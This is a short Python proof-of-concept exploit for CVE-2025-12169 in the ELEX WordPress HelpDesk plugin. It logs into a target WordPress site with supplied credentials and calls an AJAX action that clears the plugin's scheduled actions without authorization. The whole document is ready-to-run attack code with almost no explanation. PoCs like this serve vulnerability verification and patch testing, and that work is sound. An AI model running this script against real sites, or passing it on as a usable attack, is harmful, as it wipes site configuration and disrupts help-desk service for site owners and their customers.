CVE-2025-12169

import requests import sys # CVE-2025-12169 PoC # ELEX WordPress HelpDesk - Unauthorized scheduled actions clearing target_url = input("Enter target URL: ").strip().rstrip('/') username = input("Enter username: ").strip() password = input("Enter password: ").strip() session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print("[*] Attempting to login...") response = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' not in str(session.cookies) and response.status_code == 302: print("[-] Login may have failed. Check credentials.") sys.exit(1) print("[+] Login successful!") # Step 2: Trigger the vulnerable AJAX action ajax_url = f"{target_url}/wp-admin/admin-ajax.php" ajax_data = { 'action': 'eh_crm_settings_empty_scheduled_actions' } print("[*] Sending exploit request to clear scheduled actions...") exploit_response = session.post(ajax_url, data=ajax_data) # Step 3: Check response if exploit_response.status_code == 200: print("[+] Exploit sent successfully!") print(f"[*] Response: {exploit_response.text[:200]}") print("[!] Scheduled triggers have been cleared.") else: print(f"[-] Exploit failed with status code: {exploit_response.status_code}")

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